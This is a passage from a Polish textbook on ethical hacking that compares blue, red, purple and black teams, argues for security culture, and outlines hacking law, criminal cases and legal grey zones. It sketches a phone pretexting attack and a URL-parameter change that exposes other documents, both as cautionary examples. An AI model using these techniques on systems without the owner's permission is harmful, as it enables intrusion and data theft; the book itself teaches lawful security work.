wprowadzonych zabezpieczeń i ciągle sprawdzają, czy raz zaimplementowane zabezpieczenia za-
chowują swoją skuteczność. W składzie niebieskich zespołów zwykle znajdziemy ludzi świadczą-
cych pomoc zdalną, osoby łatające błędy systemów, zajmujące się tworzeniem i odtwarzaniem
kopii zapasowych, zarządzające podstawowymi narzędziami zabezpieczającymi itd. Centra danych
w większych firmach zatrudniają też administratorów sieci, którzy sprawują pieczę nad sieciami
i reagują w przypadku wykrycia włamania. Dąży się do tego, żeby niebieski zespół był w stanie
zauważyć przeprowadzany właśnie atak i podjąć kroki w celu zatrzymania go, zanim atakujący bę-
dzie w stanie wyrządzić jakiekolwiek szkody.

Czerwone zespoły
Jeżeli chodzi o dokładniejsze kontrole bezpieczeństwa, to większość dyrektorów ds. bezpieczeństwa
danych nie będzie miała innego wyboru i będzie musiała utworzyć czerwony zespół, który jest nie-
zależną grupą profesjonalistów starających się przełamać zabezpieczenia organizacji, stawiając się
w roli atakującego. Czerwone zespoły używają tych samych narzędzi i technik, które są stosowane
przez złośliwych hakerów. Ataki mogą być prowadzone przez całe tygodnie, a nawet miesiące.

3681988c430c7fe1e8567c4e2f281f7b
3
34 Rozdział 1  Hakowanie jako przypadek biznesowy

Każda taka operacja ma zwykle wyznaczony określony cel, którym może być „kradzież” z firmy
cennych danych. Po zakończeniu zadania czerwony zespół powinien współpracować z firmowym
niebieskim zespołem w celu poprawienia zauważonych niedociągnięć i przygotowania działań
naprawczych.
Nie należy mylić czerwonych zespołów z testerami penetracyjnymi. Testerzy penetracyjni przy-
gotowują ocenę zabezpieczeń w firmowej sieci komputerowej, a to nie jest tematem tej książki.
Przygotowanie takiej oceny bezpieczeństwa zazwyczaj trwa kilka dni. Na jej zakończenie przygo-
towywany jest raport wskazujący wykryte błędy i podatności. Tester penetracyjny zwykle pracuje
samodzielnie i nie oczekuje się od niego przeprowadzania tak dogłębnych ataków, jakie może rea-
lizować czerwony zespół. Mimo tego testerzy penetracyjni powinni w swojej pracy stosować te
same metody, których używają tradycyjne czerwone zespoły, i używać tych samych technik, którymi
posługują się złośliwi hakerzy.

Nie każda firma może sobie pozwolić na zatrudnienie ludzi aktywnie poszukują-
cych zagrożeń i sprawujących pieczę nad siecią (niebieski zespół). Nie każda firma wymaga
też stosowania taktycznych, specjalizowanych czerwonych zespołów. Te ostatnie są jednak
istotne dla firm przetwarzających wiele transakcji finansowych na sekundę, firm będących
ciągłym celem ataków, w których nawet informacje znajdujące się w plikach protokołów
mogą ujawniać różne przepływy pieniężne. Mowa tu oczywiście o bankach i firmach hazar-
dowych. Niektóre z tych firm utrzymują własne czerwone zespoły lub testerów penetracyj-
nych, dzięki czemu nie muszą zlecać tych działań firmom zewnętrznych, chyba że w celu
uzyskania dowodów na zgodność z normami.

Wielkie firmy prywatne (szczególnie te często realizujące różne zlecenia rządowe lub wojskowe,
takie jak IBM lub SAIC), jak również agencje rządu USA (takie jak CIA) już od dawna korzystają
z czerwonych zespołów. Mniejsze organizacje korzystają z usług testerów penetracyjnych, zazwy-
czaj zatrudniając ich raz na rok, co daje im wgląd w jakość swoich zabezpieczeń.
Po zakończeniu kontroli zabezpieczeń firmowy niebieski zespół albo zatrudnieni konsultanci
muszą podjąć działania na podstawie sugestii podanych przez czerwony zespół lub zapisanych
w raporcie testera penetracyjnego. Na tym etapie mogą pojawiać się pierwsze problemy. Dawniej
takie etapowe podejście do bezpieczeństwa informacji mogło się sprawdzać, choć też tylko do pew-
nego stopnia. Dzisiaj sprawdza się już tylko w nielicznych przypadkach.
Jednym z największych problemów jest samo podejmowanie działań na podstawie rekomenda-
cji czerwonego zespołu lub raportu testera penetracyjnego. Ten etap bardzo często nie jest dopro-
wadzany do końca (a czasem nie jest nawet zaczynany) z powodów, o których wspomnimy za chwilę.
W efekcie tworzenie takich raportów staje się tylko próżnym zadaniem, które ma jedynie zadowolić
udziałowców. Oto częste powody pojawiania się takiej sytuacji:
Niewystarczające przeszkolenie. Niebieskie zespoły często nie wiedzą, jakie działania mają
podjąć, ponieważ brakuje im umiejętności wykraczających poza typowe zadania, takie jak
zmiana konfiguracji zapory sieciowej, aktualizowanie oprogramowania albo zmiana haseł.
Brak zasobów. Wiele korporacji uważa, że zespoły cyberbezpieczeństwa mają zbyt mało
ludzi, a jednocześnie ogromne pieniądze są wydawane na przeprowadzanie testów
penetracyjnych, przez co nie ma już możliwości zatrudnienia dodatkowych pracowników.

3681988c430c7fe1e8567c4e2f281f7b
3
Niebieskie, czerwone i purpurowe zespoły 35

Ograniczony czas. Firmom bardzo trudno jest nakazać swoim pracownikom, aby spędzali
niemało czasu na czytaniu długich raportów technicznych i łataniu podatności,
szczególnie wtedy, gdy niebieski zespół zmuszony jest gasić pożary na kilku frontach.
Brak zachęt. Zmotywowanie pracowników do przeczytania długiego raportu z testu
penetracyjnego i załatania wskazanych podatności wcale nie jest proste, szczególnie że
takie raporty tworzone są przez zewnętrzne osoby (które z pewnością zarobiły na tym
sporo pieniędzy).
Czasami, gdy czerwony zespół lub tester penetracyjny (wewnętrzny lub zewnętrzny) wskazuje
konkretne uchybienia, członkowie niebieskiego zespołu przechodzą do defensywy. Zaczyna się
szukanie winnych, animozje, co prowadzi do chaosu. W efekcie dyrektor ds. bezpieczeństwa da-
nych może być zmuszony nie tylko do zajmowania się technologią, ale i do współpracy z działem
personalnym.
To wszystko oznacza, że rozbieżności między niebieskim a czerwonym zespołem, między ata-
kującymi i obrońcami są po prostu zbyt wielkie. CISO musi mieć do dyspozycji ludzi, którzy będą
rozumieć taktyki, techniki i procedury używane w cyberatakach i będą wiedzieć, jak najlepiej się
przed nimi chronić. Organizacja potrzebuje wewnętrznego zespołu będącego w stanie doszukać się
potencjalnych problemów i aktywnie zająć się ich usuwaniem niezależnie od tego, czy chodzi
o aktualizację systemu operacyjnego na stacjach roboczych, czy wyłapanie w firmie pomysłu zain-
stalowania w budynkach firmowych inteligentnych termostatów z dostępem do internetu i podję-
cie decyzji, czy to na pewno jest taki dobry pomysł.

Purpurowe zespoły
Rozpatrując bezpieczeństwo danych i systemów komputerowych, właściciele małych firm mogą
stosować tę linię rozumowania:
„Potrzebuję skutecznego i niedrogiego rozwiązania dla cyberbezpieczeństwa, aby chronić firmowe
dane tak, żeby możliwe było skierowanie wszystkich wysiłków na rozwój przedsiębiorstwa”.
To wszystko da się zrealizować, przyjmując mentalność purpurowego zespołu.
Purpurowy zespół jest prostym i dość oczywistym rozwiązaniem w razie gwałtownego wzrostu
liczby włamań i przypadków utraty danych. Chodzi to u to, żeby zespół ekspertów realizował jed-
nocześnie zadania czerwonego i niebieskiego zespołu, starając się przewidywać ewentualne ataki
i reagować na pojawiające się podatności i słabości, jeszcze zanim ktokolwiek będzie w stanie je
wykorzystać. Purpurowe zespoły są odpowiedzialne za całość systemu firmowych zabezpieczeń.
Takie zespoły aktywnie starają się poznawać i oceniać ryzyko, stosując przy tym różne symulacje
techniczne. Członkowie takich zespołów wiedzą, czym są cyfrowe aktywa przedsiębiorstwa (które
w każdej organizacji stanowią ogromną wartość), gdzie są przechowywane i jak należy je chronić,
projektując lepsze sieci i systemy.
To rozwiązanie umożliwia tradycyjnym niebieskim zespołom zrozumienie sposobów wykorzy-
stywania istniejących podatności przez hakerów (albo przez czerwone zespoły). Purpurowe zespoły
są lepiej przygotowane do „włączania ludzkiej zapory sieciowej”, co wynika z lepszej edukacji
w zakresie typowych metod inżynierii społecznej stosowanych przez cyberprzestępców i pracow-
ników firmy o złych zamiarach. Przykładem może być tutaj phishing, czyli technika polegająca

3681988c430c7fe1e8567c4e2f281f7b
3
36 Rozdział 1  Hakowanie jako przypadek biznesowy

na wysyłaniu do pracowników e-maili próbujących zachęcić ich do kliknięcia łącza ze złośliwą za-
wartością. Istnieje wiele wariantów tego ataku, ale ataki wykorzystujące inżynierię społeczną gene-
ralnie starają się wykorzystać słabości ludzkie, a nie niedostatki systemów komputerowych.

Phishing (łowienie) jest procesem, który ma doprowadzić do ujawnienia przez

ofiarę istotnych informacji, takich jak hasła lub dane karty kredytowej, wykorzystując do
tego fałszywe strony WWW zaprojektowane tak, aby przypominały prawdziwe strony ban-
ków lub innych instytucji. Hakerzy często korzystają przy tym z e-maili lub komunikatorów,
za pomocą których przesyłają swoim ofiarom linki do spreparowanych stron WWW. Istnieją
też warianty phishingu, takie jak spear phishing (łowienie celowane), gdzie atakujący kon-
centruje się na określonej osobie, której zachowania są wcześniej analizowane, albo wha-
ling (polowanie na grubą rybę), gdzie celem ataku stają się prezesi i dyrektorzy firm, którzy
mają zwykle uprawnienia do zatwierdzania transakcji finansowych sprawiających wrażenie
całkowicie poprawnych, choć w rzeczywistości będących oszustwami.

Najlepszym sposobem na uzupełnienie brakujących umiejętności w dowolnym czerwonym lub

niebieskim zespole jest połączenie ich w jeden purpurowy zespół, w którym wszyscy członkowie
mogą uzyskać niezbędne umiejętności i poznawać zasady rządzące środowiskiem IT i cyklami życia
rozwoju oprogramowania, inżynierię społeczną oraz standardy zabezpieczenia systemów, takie jak
STIGs (Security Technical Implementation Guides) dostępne na stronie www.nist.gov. Purpurowy
zespół cały czas musi działać w „stanie pełnej gotowości na odparcie ataku”.
To absolutna konieczność. Jeżeli chcemy zaimplementować rzeczywiście skuteczne praktyki
bezpieczeństwa, to firmy muszą zachęcać swoich pracowników do lepszego zrozumienia ryzyka
wynikającego z cyberbezpieczeństwa. To naprawdę jest proste. Zmiana polegająca na umieszczeniu
bezpieczeństwa w centrum działań firmy oznacza, że dyrektorzy ds. bezpieczeństwa danych nie
muszą już wydawać pieniędzy poza własną firmą.
Po utworzeniu purpurowego zespołu nie istnieje już potrzeba opłacania zewnętrznych konsul-
tantów, którzy mieliby prowadzić długotrwałe próby spenetrowania firmowej infrastruktury. Takie
działania nierzadko kosztują dziesiątki, a nawet setki tysięcy dolarów. Firmy mogą uzyskać te same
efekty dzięki utworzeniu purpurowych zespołów i to bez konieczności proszenia dyrektora finan-
sowego o niezbędne środki. Nie będzie już opóźnień wynikających z oczekiwania na raport, który
może zostać źle zrozumiany i nieprawidłowo zaimplementowany. Kariera CISO nie będzie zatem
bezpośrednio zagrożona, a firma będzie mogła przeznaczyć czas, pieniądze i energię na właściwe
jej innowacje i rozwój.
Purpurowy zespół będzie się sprawdzał wtedy, gdy wszyscy zrozumieją (i to rzeczywiście zro-
zumieją), jakich zniszczeń mogą dokonać hakerzy w firmowej sieci. Wszyscy muszą też doskonale
wiedzieć, jak działają wewnętrzne systemy — sprzęt, systemy operacyjne, zakupione oprogramo-
wanie i to tworzone na zamówienie — jak można je naprawiać i poprawiać, aby zminimalizować
istniejące ryzyko. Nie twierdzimy, że każdy członek zespołu musi być ekspertem we wszystkich
tych dziedzinach, ale każdy musi znać obszary wiedzy innych członków zespołu, dzięki czemu będą
mogli skutecznie ze sobą współpracować, wspomagając się wzajemnie.

3681988c430c7fe1e8567c4e2f281f7b
3
Hakowanie jako część systemu odpornościowego firmy 37

Czarny zespół jest rozbudowaną formą czerwonego zespołu, który może realizo-
wać ataki będące kombinacją ataków sieciowych oraz ataków osobistych. Czasami takie
zespoły nazywane są zespołami bliskiego kontaktu. Czarne zespoły muszą zmagać się nie
tylko z zabezpieczeniami cyfrowymi, takimi jak zapory sieciowe, systemy wykrywania wła-
mań albo systemy antywirusowe, ale również muszą uzyskiwać dostęp do kamer moni-
toringu, systemów alarmowych, systemów kontroli drzwi lub do technologii bezprzewodo-
wych wspomagających mechanizmy bezpieczeństwa w danym miejscu. Czarne zespoły są
naprawdę rzadko wykorzystywane w większości organizacji komercyjnych (zwykle nie
używa się ich jednak wcale), a z ich usług korzysta się niemal wyłącznie w przypadku kry-
tycznej infrastruktury i zabezpieczanych budynków, gdy istnieje wysokie ryzyko włamania
realizowanego przez połączone ataki cyfrowe i fizyczne.

Hakowanie jako część

systemu odpornościowego firmy
Aby skutecznie realizować politykę bezpieczeństwa informacji, trzeba przemyśleć swoje podejście
do tematu bezpieczeństwa. Na początek należy odrzucić wszystkie wynikające z lęku uprzedzenia
dotyczące hakowania, którymi karmione jest społeczeństwo: zakapturzone postaci, ciemne piwnice
i powiązania kryminalne. Dlaczego to takie ważne? Po prostu najlepszym sposobem wprowadzania
skutecznych zabezpieczeń jest nauka, aby móc stać się hakerem, czyli być w stanie zrobić to, co
robią hakerzy.
I to ma sens! Aby zbudować doskonałe zabezpieczenia, trzeba wiedzieć, z czym przyjdzie się
nam mierzyć. Nikt nie rusza na wojnę bez uprzedniego pozyskania informacji o przeciwnikach,
przeanalizowania własnych słabości i przygotowania metod na ich poprawienie. Niestety właśnie
tak zachowuje się większość firm. Nie wyszukują u siebie słabych punktów. Jeżeli organizacja ma
zwiększyć swoją odporność na cyberataki, to musi zacząć myśleć tak jak hakerzy. Kropka.
Jednym ze sposobów na poruszenie tego tematu w rozmowach z uczniami i klientami jest za-
dawanie pytania: „Czy kiedykolwiek włamałeś się do swojego domu?”. Oczywiście większość osób
musiała to zrobić (zwykle w wyniku zgubienia kluczy ktoś musiał przynajmniej raz wchodzić do
domu przez okno w łazience). W ten sposób doskonale pokazujemy konieczność przyjęcia sposobu
myślenia hakera. Skoro próbujesz się włamać do własnego domu, to dlaczego nie próbujesz włamać
się do swoich systemów cyfrowych? Na początek można zacząć od wypisywania stanu posiadania,
rozmyślania o możliwych punktach wejścia, tworzenia wizualizacji opisującej, kiedy i gdzie zatrzy-
mują się ludzie, itd.
W ten sam sposób można myśleć o całych firmach. W końcu dokładnie tak myślą atakujący nas
hakerzy. Zaletą rozbierania rzeczy na części pierwsze jest to, że w ten sposób możemy użyć procesu
inżynierii wstecznej, aby przygotować zabezpieczenia i różne rodzaje ataków, które pomogą nam
zrozumieć, jak należy chronić swoje systemy.
W związku z tym zachęcamy, żeby porzucić stare wyobrażenia na temat hakingu i zastąpić je
takim: hakerzy są wytrwali, niewidoczni, skupieni na swoim celu i na posiadanych danych. Haking
to poszukiwanie wiedzy.

3681988c430c7fe1e8567c4e2f281f7b
3
38 Rozdział 1  Hakowanie jako przypadek biznesowy

Aby jeszcze lepiej zabezpieczyć swoją firmę, musimy utworzyć w całej organizacji zupełnie
nowe nawyki związane z cyberbezpieczeństwem. To niezbędne, ponieważ większość małych i śred-
nich przedsiębiorstw może nie przetrwać ataku hakerów, a wynikać to może z braku umiejętności
szyfrowania oprogramowania albo aktualizowania plików, używania wspólnych danych uwierzy-
telniających albo nieuczenia pracowników, że nie wolno klikać podejrzanych linków. Innymi
słowy, to pracownicy stanowią jedną z największych podatności niemal każdej organizacji.
Błędy pracowników często są wynikiem niestosowania się do procedur, braku wyszkolenia i co-
dziennych interakcji z aplikacjami sieciowymi i stronami WWW. Wynika z tego, że zwiększenie
poziomu bezpieczeństwa w organizacji powiązane jest z odpowiednią edukacją jej pracowników
i ich zaangażowaniem w sprawy bezpieczeństwa. Potwierdza to raport firmy Protiviti z 2017 roku
(https://www.protiviti.com/US-en/insights/it-security-survey). W tym raporcie wymieniane są cztery
najważniejsze elementy:
 Zaangażowany zarząd i zdefiniowane zasady bezpieczeństwa
(już tylko to daje wielką różnicę).
 Wprowadzenie klasyfikacji danych i systemu zarządzania nimi
(mapowanie danych i wiedza o tym, gdzie znajdują się poszczególne elementy).
 Skuteczność zabezpieczeń zależna od wprowadzonych zasad i od stosujących je ludzi.
 Dojrzały system zarządzania ryzykiem związanym z dostawcami.
W przeszłości implementowanie tych praktyk sprawiało wielkie trudności. Dzięki zastosowa-
niu purpurowych zespołów staje się ono możliwe, ponieważ do dyspozycji CISO stoją teraz zaan-
gażowani i wykształceni ludzie, niezbędni przy tworzeniu i wprowadzaniu skutecznych zasad bez-
pieczeństwa oraz odpowiedniej kultury w całej organizacji.
Purpurowe zespoły lepiej radzą sobie z minimalizowaniem ludzkich błędów w firmie przez
aktywne definiowanie zasad bezpieczeństwa i informowanie o nich wszystkich pracowników.
Dzięki temu pracownicy są świadomi zagrożeń i angażują się w stosowanie zasad bezpieczeń-
stwa. Purpurowe zespoły wspomagają całą załogę firmy, od recepcji, po prezesa, w prawidłowym
implementowaniu procesów bezpieczeństwa, ułatwiają rozpoznawanie inżynierii społecznej,
phishingu i wykrywanie podejrzanych linków. W ten sposób cała firma staje się rozszerzeniem
purpurowego zespołu.

INŻYNIERIA SPOŁECZNA

Inżynierię społeczną można postrzegać jak próbę hakowania ludzkiego mózgu, zwykle z zamia-
rem uzyskania dostępu do systemów komputerowych (przynajmniej w interesującym nas aktu-
alnie kontekście). Inżynieria społeczna wykorzystuje ludzką psychologię w celu manipulowania
ludźmi, aby wykonali oni pewne działania albo przekazali wybraną informację. Przykładem może
tu być zadzwonienie do jednego z pracowników i przedstawienie się jako pracownik działu IT,
a następnie poproszenie o otwarcie określonej strony WWW (którą całkowicie kontrolujemy),
aby usunąć wykryty wcześniej problem. Za pomocą takiej strony można następnie uruchomić
złośliwy kod na komputerze ofiary i w ten sposób uzyskać dostęp do ważnych danych.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 39

Od strony praktycznej definiowane zasady mogą zawierać plany ochrony informacji (ważną
częścią tych planów jest wyznaczenie osoby odpowiedzialnej za ochronę danych), procedury awa-
ryjne (żeby każdy został przeszkolony w czynnościach, jakie trzeba wykonać w przypadku włama-
nia, takich jak wykonywanie kopii zapasowych i automatyzowanie aktualizacji) oraz instrukcje
podnoszące świadomość użytkowników.
Zaangażowanie zarządu w te działania będzie znacznie łatwiejsze, jeżeli bezpieczeństwo stanie
się częścią firmowej kultury. Z drugiej strony zaangażowanie zarządu w sprawy bezpieczeństwa
informacji jest też ważnym czynnikiem przy tworzeniu tej kultury. Ponownie musimy odwołać się
do badania firmy Protiviti, które wykazało, że zaangażowanie zarządu sprawia, że menedżerowie
znacznie lepiej rozumieją, czym są firmowe „klejnoty” (dane), stosują lepsze zasady klasyfikacji
danych i potrafią lepiej przekazać pracownikom, czym dokładnie są firmowe dane i jak należy się
z nimi obchodzić.
Jak można uzyskać zaangażowanie zarządu? Po pierwsze nie należy stosować zastraszania.
W tym przypadku musimy raczej sprawić, żeby ludzie zaczęli poważnie traktować swoje dane
i poznawać ich wartość. W wielu przypadkach okazywało się, że pomocne było zastosowanie języka
normalnie używanego w rozmowach o bezpieczeństwie informacji. Na przykład członkowie za-
rządu doskonale znają się na takich tematach jak ryzyko finansowe, ryzyko rynkowe, ryzyko płyn-
ności itd. i oczekują, że będzie się o nich wspominać w naszych rozmowach. Mówiąc o cyber-
bezpieczeństwie, możemy zatem zastosować ich język i mówić o ryzyku danych lub o ryzyku
informacji. W większości przypadków tak przedstawione wiadomości trafiają do celu. Dobrze jest
też poszukać możliwości uproszczenia technicznego języka raportów o ryzyku informacji, dzięki
czemu treść tych raportów będzie zrozumiała dla większej liczby ludzi. To naprawdę istotne, po-
nieważ 54% członków zarządów twierdzi, że raporty dotyczące cyberbezpieczeństwa zawierają zbyt
wiele technicznych szczegółów (Bay Dynamics Osterman Research, 2016)1.

Podsumowanie
Wszystkie komputery są zepsute. Nie istnieje coś takiego jak doskonale bezpieczny system. Małe
i wielkie organizacje są regularnie atakowane, co często skutkuje kradzieżą znacznych ilości danych
ich klientów. Ta sytuacja wcale się nie poprawia, a ciągle pojawiają się nowe urządzenia (zwykle
podłączone do internetu) oraz aplikacje, sprawa bezpieczeństwa informacji nabiera więc niespoty-
kanej dotąd wagi.
Aby chronić swoje dane, musimy poznać ich wartość i aktywnie przeciwdziałać próbom ich
wykradzenia lub wymuszania okupu. Połączenie wiedzy cechującej atakujących i broniących da-
nych, poznanie metod stosowanych przez przestępców oraz promowanie lepszej kultury bezpie-
czeństwa są sposobami lepszego chronienia swojej organizacji i jej danych.
Niezależnie od tego, czy pracujesz samodzielnie dla klienta, czy też jesteś częścią zespołu, który
przyjął lub właśnie przyjmuje mentalność purpurowego zespołu, z pewnością zawartość tej książki
będzie miała dla Ciebie dużą wartość. Być może dopiero zaczynasz pracę nad bezpieczeństwem
informacji, a może już od lat pracujesz w dziale IT i chcesz zwiększyć zakres swoich umiejętności.
Tę książkę napisaliśmy właśnie dla Ciebie.

1 https://www.hackerhousebook.com/.docs/how-board-of-directors-feel-about-cyber-security-reports-1.pdf.

3681988c430c7fe1e8567c4e2f281f7b
3
40 Rozdział 1  Hakowanie jako przypadek biznesowy

Przyjrzymy się tu różnym aspektom infrastruktury organizacji — technologiom, z których

wszyscy dzisiaj korzystamy, ponieważ gdy chodzi o bezpieczeństwo, często są one błędnie postrze-
gane. Najpierw jednak w rozdziale 2. „Etyczne i legalne hakowanie” zajmiemy się ważnymi spra-
wami związanymi z hakowaniem w sposób etyczny i zgodny z prawem. Następnie w rozdziale 3.
„Przygotowanie narzędzi do hakowania” przedstawimy techniczny pokaz sposobów konfigurowa-
nia własnego systemu na potrzeby etycznego hakowania lub testów penetracyjnych. W kolejnych
rozdziałach omówimy różne techniki hakowania, przyjrzymy się bardzo widocznym podatno-
ściom i opiszemy najważniejsze narzędzia. W przedostatnim rozdziale zastanowimy się nad istotą
haseł i możliwościami wydobywania ich z plików, które uda się uzyskać w trakcie naszych ćwiczeń.
Na zakończenie pokażemy, jak można umieścić znalezione nieścisłości w raporcie, który zostanie
przekazany klientowi albo dyrektorowi firmy. Taki raport powinien wyjaśniać wykryte problemy
i opisywać metody ich rozwiązania.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

2
Etyczne i legalne hakowanie

Niestety pojęcie haker ma negatywne konotacje, przez co automatycznie przypisujemy hakingowi

różne nielegalne działania. Jednak podobnie jak w przypadku wielu innych zawodów — lekarza,
prawnika lub nauczyciela — samo słowo haker jest całkowicie neutralne. Oczywiście istnieją też
niedouczeni lekarze, niesłowni prawnicy i kiepscy nauczyciele, a mimo to raczej zakładamy, że
osoby wykonujące te zawody są „dobre”.
Poniższa definicja pojęcia „haker” pochodzi z Wikipedii i w ten sposób rozumieją je osoby na-
leżące do wielu technicznych społeczności:

Haker to osoba o bardzo dużych praktycznych umiejętnościach informatycznych

(lub elektronicznych), która identyfikuje się ze społecznością hakerską. Hakerzy
odznaczają się bardzo dobrą orientacją w Internecie, znajomością wielu języków
programowania, a także świetną znajomością systemów operacyjnych, głównie
tych z rodziny Unix i pochodnych.
— Wikipedia

Wykorzystywanie błędów i metod włamania do systemów komputerowych jest pracą, którą

będziemy często wykonywać w tej książce. Włamywanie się do systemów komputerowych jest le-
galne, pod warunkiem że mamy pisemną zgodę właściciela systemu na takie działania. Wykorzy-
stywanie swoich umiejętności i wiedzy, aby uzyskać nieautoryzowany dostęp (czyli dostęp, na który
nie mamy pozwolenia), w większości krajów jest działaniem nielegalnym. Łamanie prawa jest dzia-
łaniem, którego powinien unikać każdy etyczny haker i tester penetracyjny. Zadaniem tego roz-
działu jest przedstawienie kilku wskazówek pozwalających uniknąć takich kłopotów oraz zrozu-
mieć zobowiązania prawne, etyczne i moralne, jakie dotyczą każdego z nas.

41

3681988c430c7fe1e8567c4e2f281f7b
3
42 Rozdział 2  Etyczne i legalne hakowanie

Prawa wpływające na Twoją pracę

Prawo zwykle jest bardzo skomplikowane i w zależności od kraju może przyjmować bardzo różne
formy. Nie możemy tu podać wskazówek pasujących do sytuacji każdego czytelnika, dlatego za-
miast próbować czegoś tak karkołomnego, podamy jedynie kilka ogólnych, podstawowych infor-
macji. W firmie Hacker House (hacker.house) na początku każdego kursu praktycznego hakowania
informujemy naszych studentów, że nie jesteśmy zespołem prawników, ale w razie potrzeby korzy-
stamy z ich usług. Jeżeli potrzebujesz porady prawnej, to skontaktuj się z ludźmi o odpowiednim
wykształceniu i doświadczeniu. Przed podjęciem jakichkolwiek prac należy zapoznać się z obowią-
zującymi nas przepisami. Na przykład, jeżeli pracujesz w USA, to dobrze jest być świadomym ist-
nienia takich aktów prawnych jak:
 Computer Fraud & Abuse Act 1984,
 Digital Millennium Copyright Act 1998,
 Electronic Communications Privacy Act 1986,
 Trade secrets law,
 Contract law.
W każdym kraju obowiązują osobne rozwiązania prawne, z których część jest do siebie podobna.
Na przykład w Wielkiej Brytanii trzeba się stosować do następujących ustaw:
 Computer Misuse Act 1990,
 Human Rights Act 1998,
 Data Protection Act 1998,
 Wireless Telegraphy Act 2006,
 Police & Justice Act 2006,
 Serious Crime Act 2015,
 Data Protection Act 2018.

3681988c430c7fe1e8567c4e2f281f7b
3
Bezprawne hakowanie 43

Bezprawne hakowanie
Kary za bezprawne ataki hakerów często są naprawdę dotkliwe, dlatego przed rozpoczęciem jakiej-
kolwiek pracy sprawdź, jakie działania są legalne, a jakie nie.
Przykładem bardzo surowej kary za hakowanie może być przypadek Alberta Gonzaleza, który
25 marca 2010 roku został w USA skazany na 20 lat więzienia. Gonzalez z różnych źródeł ukradł
spore ilości informacji o kartach kredytowych (około 170 milionów numerów kart). Jednym z pierw-
szych przypisywanych mu włamań był nieautoryzowany dostęp do komputerów NASA, który uzy-
skał w wieku 14 lat.
Kolejny przypadek to sprawa Lauriego Love’a, brytyjskiego hakera poszukiwanego w USA,
gdzie grozi mu 99 lat więzienia za rolę, jaką odegrał w proteście ruchu Anonymous (międzynaro-
dowa organizacja haktywistów) w związku z niesprawiedliwym traktowaniem Aarona Schwartza,
amerykańskiego przedsiębiorcy i aktywisty, który powiesił się krótko po tym, jak został oskarżony
o wielokrotne wykroczenia przeciwko ustawom Computer Fraud i Abuse Act. Istnieje wiele innych
przykładów równie wysokich kar więzienia nakładanych na hakerów, szczególnie często w USA.

Sąsiedzkie hakowanie
Generalnie przeprowadzanie testów swojego własnego komputera stacjonarnego lub laptopa jest
zgodne z prawem. W przypadku sprzętu należącego do kogoś innego ta zasada już nie obowiązuje,
nawet jeżeli taki sprzęt (inteligentny czujnik albo zestaw set-top-box) znajduje się w Twoim domu.
Jeżeli testujesz systemy komputerowe w pracy albo na komputerze swojego sąsiada, to musisz uzy-
skać pisemną zgodę właściciela takiego systemu na prowadzone działania hakerskie. Ustne pozwo-
lenie udzielone przez kolegę, który podobno jest odpowiedzialny za testowany system, nie jest tu
wystarczające, szczególnie gdy okaże się, że rzeczony kolega wcale nie miał uprawnień do udzielania
takiej zgody. Bez odpowiednio przygotowanego pisemnego pozwolenia niemal na pewno można
się spodziewać kłopotów z prawem.
Należy też rozważyć kwestię używania narzędzi hakerskich podczas połączenia z usługami swo-
jego dostawcy internetu. Czy w podpisanej umowie firma udziela pozwolenia na takie działania?

Szara strefa
Skanowanie sprzętów podłączonych do internetu za pomocą takiego narzędzia jak Nmap (narzę-
dzie do sprawdzania sieci, którego będziemy często używać w tej książce) nie jest samo w sobie
nielegalne, mimo że wielu właścicielom sieci nie podobają się takie działania. Co prawda można
skanować internet w poszukiwaniu typowych podatności (taką pracę wykonują różne serwisy, takie
jak Shodan — www.shodan.io), to jednak wykonywanie takich skanów ze swojego komputera może
skończyć się skargami. Jest to szczególnie prawdopodobne, jeżeli skanowaniu zostanie poddana na
przykład sieć Ministerstwa Spraw Wewnętrznych. Z pewnością otrzymasz wtedy e-maile informu-
jące, że takie działania są niemile widziane, a i sam dostawca internetu powinien zareagować
w takich przypadkach.

3681988c430c7fe1e8567c4e2f281f7b
3
44 Rozdział 2  Etyczne i legalne hakowanie

Trzeba też zachować ostrożność podczas skanowania systemów bez uzyskania na to pozwole-
nia. Wyobraź sobie, że skanując dany system, możesz niechcący spowodować pewne problemy.
Skutkiem ubocznym skanowania może być wprowadzenie systemu w stan uniemożliwiający zwy-
kłym użytkownikom korzystanie z danej usługi. To, czy mieliśmy takie zamiary, czy też nie, nie
będzie miało żadnego znaczenia dla przedstawicieli prawa i może spowodować poważne kłopoty.
Należy również ostrożnie dobierać cele prowadzonych skanów. Jaki mielibyśmy powód do skano-
wania rządowych systemów komputerowych?
Używanie domyślnych haseł albo uzyskiwanie dostępu do usług bez pozwolenia ich właścicieli,
nawet jeżeli te usługi nie były chronione, to kolejny przykład szarej strefy. Można argumentować
za korzystaniem z systemów, które nie mają żadnych funkcji zabezpieczających: skoro z danego
zasobu może skorzystać dowolna osoba w internecie, to czy nie jest to zasób dostępny publicznie,
a pozwolenie na korzystanie z niego jest domyślnie udzielone? Przykładem może tu być strona
przechowująca różne dokumenty, przy czym modyfikacja adresu URL wystarcza, żeby obejrzeć inny
dokument. Na przykład w pasku adresu można by zmienić adres stronarzadowa.gov.pl/?docid=1
na stronarzadowa.gov.pl/?docis=500. W efekcie strona może wyświetlić zupełnie inny dokument,
ale czy rzeczywiście mamy uprawnienia do przeglądania tego dokumentu? Takie witryny mogą
przechowywać ważne informacje, które wcale nie są przeznaczone do użytku publicznego, a mimo
to zostały ujawnione choćby przez niedoświadczonego pracownika, całkowicie nieświadomego ist-
nienia takiego problemu. Zaleca się zatem opieranie się pokusom wykorzystania takich sytuacji, jak
również przypadków, w których domyślne hasła umożliwiają dostęp do różnych zasobów. W 2005
roku konsultant zabezpieczeń Daniel Cuthbert został w Wielkiej Brytanii skazany na mocy ustawy
Computer Misuse Act za zmianę parametrów adresu URL na stronie umożliwiającej wpłacanie
datków dla ofiar tsunami. Nie uzyskał pozwolenia na takie zmiany, przez co jego działania były
nielegalne. Cuthbert został skazany przez sąd na grzywnę i zwolniony z pracy mimo wielu krytycz-
nych głosów wypowiadanych przez specjalistów od zabezpieczeń IT.

Planując test systemu, sieci lub środowiska, zawsze uzyskaj pisemne

pozwolenie właściciela na przeprowadzanie takich prac. Idealnie byłoby uzyskać też
pozwolenie na wykonywanie skanów. W ten sposób można sobie oszczędzić wielu kło-
potów i stresu.

Metodologie testów penetracyjnych

Współpracując z klientem w roli testera penetracyjnego albo wynajętego hakera, dobrze jest korzy-
stać z pewnego zbioru metodologii. Przez lata powstało wiele standardów, zbiorów wskazówek
i frameworków, wśród których można wymienić:
 Information Systems Security Assessment Framework,
 Penetration Testing Execution Standard (PTES),
